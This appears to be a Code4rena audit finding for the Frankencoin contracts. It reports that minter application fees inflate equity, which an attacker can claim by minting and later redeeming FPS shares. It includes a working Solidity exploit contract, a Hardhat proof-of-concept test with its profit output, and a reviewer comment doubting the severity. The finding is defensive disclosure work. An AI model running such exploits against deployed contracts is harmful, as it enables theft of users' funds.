code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L83 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L241

Vulnerability details

Impact

The minter role has very high privilege, so application fees are charged for suggest someone to be a minter. However, anyone can suggest minters for free by using the application fees to mint FPS.

Specifically, the function suggestMinter charges a application fees through _transfer them from msg.sender to reserve. It makes the amount of equity increase. An attacker can using this equity to mint FPSs by calling the function transferAndCAll in the contract Frankencoin with 0 amount to Equity. Then waiting for some time to redeem them all.

Proof of Concept

https://github.com/jan91e/2023-04-frankencoin/blob/issue3/test/BasicTests.ts (Will public after the competitions)

the exploit contract:

import "../IERC20.sol";

interface IZCHF {
    function suggestMinter(address _minter, uint256 _applicationPeriod, uint256 _applicationFee, string calldata _message) external;

    function transferAndCall(address recipient, uint256 amount, bytes calldata data) external returns(bool);

    function reserve() external returns(address);
}

interface IEquity {
    function redeem(address target, uint256 shares) external returns (uint256);

    function canRedeem(address owner) external view returns (bool);
}

import "hardhat/console.sol";

contract Exp {
    address immutable zchf;
    address immutable reserve;

    constructor(address _zchf) {
        zchf = _zchf;
        reserve = IZCHF(zchf).reserve();
    }

    function exp() external {
        IZCHF(zchf).suggestMinter(address(this), 10 days, 1000e18, "");
        IZCHF(zchf).transferAndCall(reserve, 0, "");
    }

    function redeem() external {
        uint256 _bal = IERC20(reserve).balanceOf(address(this));
        console.log("Exp::exp: canredeem ", IEquity(reserve).canRedeem(address(this)));
        IEquity(reserve).redeem(address(this), _bal);
    }
}

the test script:

// @ts-nocheck
import {expect} from "chai";
import { BigNumber } from "ethers";
import { floatToDec18 } from "../scripts/math";
const { ethers, network } = require("hardhat");
const BN = ethers.BigNumber;
import { createContract } from "../scripts/utils";

let ZCHFContract, positionFactoryContract, equityAddr, equityContract, mintingHub, accounts;

let owner, faucet;

const MAX_UINT256 = ethers.constants.MaxUint256;

describe("Basic Tests", () => {

    function capitalToShares(totalCapital, totalShares, dCapital) {
        if (totalShares==0) {
            return 1000;
        } else {
            return totalShares *( ((totalCapital +dCapital)/totalCapital)**(1/3) - 1 );
        }
    }
    function sharesToCapital(totalCapital, totalShares, dShares) {

        return -totalCapital *( ((totalShares - dShares)/totalShares)**(3) - 1 );
    }

    function BNToHexNoPrefix(n) {
        let num0x0X = BN.from(n).toHexString();
        return num0x0X.replace("0x0", "0x");
    }

    async function mineNBlocks(n) {
        // hardhat_mine does not accept hex numbers that start with 0x0,
        // hence convert
        await network.provider.send("hardhat_mine", [BNToHexNoPrefix(n)]);
    }

    function calcCreateAddress(sender, nonce) {
        const nonce_rlp_data = nonce == 0 ? new Uint8Array() : ethers.utils.hexlify(BigNumber.from(nonce).toHexString());

        const hash = ethers.utils.keccak256(
            ethers.utils.RLP.encode([sender, nonce_rlp_data])
        );

        return ethers.utils.getAddress("0x" + hash.slice(26));      
    }

    before(async () => {
        accounts = await ethers.getSigners();
        owner = accounts[0];
        faucet = accounts[1];
        // create contracts
        // 10 day application period
        ZCHFContract = await createContract("Frankencoin", [10 * 86_400]);
        equityAddr = ZCHFContract.reserve();
        equityContract = await ethers.getContractAt('Equity', equityAddr, accounts[0]);
        positionFactoryContract = await createContract("PositionFactory");
        mintingHub = await createContract("MintingHub", [ZCHFContract.address, positionFactoryContract.address]);

        let applicationPeriod = BN.from(0);
        let applicationFee = BN.from(0);
        let msg = "Minting Hub"
        await expect(ZCHFContract.suggestMinter(mintingHub.address, applicationPeriod, 
            applicationFee, msg)).to.emit(ZCHFContract, "MinterApplied");

        await expect(ZCHFContract.suggestMinter(faucet.address, applicationPeriod, 
            applicationFee, msg)).to.emit(ZCHFContract, "MinterApplied");
        // increase block to be a minter
        await ethers.provider.send('evm_increaseTime', [60]); 
        await network.provider.send("evm_mine");

        expect(await ZCHFContract.isMinter(mintingHub.address)).to.be.true;
        expect(await ZCHFContract.isMinter(faucet.address)).to.be.true;
    });

    describe("pocs", async () => {
        it("[Critical] issue-3: suggest minter for free using FPS's minting mechanism", async () => {
            const alice = accounts[2];
            const SUGGEST_FEE = floatToDec18(1000);

            const exp = await createContract("Exp", [ZCHFContract.address]);
            // [Mock] Normal user interact with FPS
            await ZCHFContract.connect(faucet)["mint(address,uint256)"](alice.address, SUGGEST_FEE);
            // [Mock] distribute some ZCHF for the attacker contract exp (just for mock, it can be achieved through DEX / Lending / FlashLoan in the real world)
            await ZCHFContract.connect(faucet)["mint(address,uint256)"](exp.address, SUGGEST_FEE);

            const ZCHFBalBeforeExp = await ZCHFContract.balanceOf(exp.address);
            console.log(`[Before] ZCHF balance, exp has ${ZCHFBalBeforeExp}`);

            await exp["exp()"]();

            await ZCHFContract.connect(alice)["transferAndCall(address,uint256,bytes)"](equityContract.address, SUGGEST_FEE, new Uint8Array());

             // increase block to redeem shares
            await network.provider.send("hardhat_mine", ["0x9e340"]);

            await exp["redeem()"]();

            const ZCHFBalAfterExp = await ZCHFContract.balanceOf(exp.address);
            console.log(`=> Profit: ${ZCHFBalAfterExp.sub(ZCHFBalBeforeExp)}`)

        })
    })

});

the result:

[Before] ZCHF balance, exp has 1000000000000000000000
Equity::onTokenTransfer: shares 1000000000000000000000
Equity::onTokenTransfer: shares 259920634920634920000
anchorTime():  10871837294592
voteAnchor[owner]:  167772160
diff =  10871669522432
MIN_HOLDING_DURATION =  10871635968000
Exp::exp: canredeem  true
anchorTime():  10871837294592
voteAnchor[owner]:  167772160
diff =  10871669522432
MIN_HOLDING_DURATION =  10871635968000
Equity::redeem: proceeds =  1982440072974634140000
=> Profit: 982440072974634140000

Tools Used

manually

Recommended Mitigation Steps

Update the minterReserveE6 after suggest minters.

c4-pre-sort commented 1 year ago

0xA5DF marked the issue as primary issue

0xA5DF commented 1 year ago

I have some doubts about severity (and validity of the issue), since nobody really lost any funds here. The protocol basically had equity before there were any FPS holders, so the first to mint FPS got it (we can enforce the amount sent for first mint to be bigger than zero, but that wouldn't make a significant difference)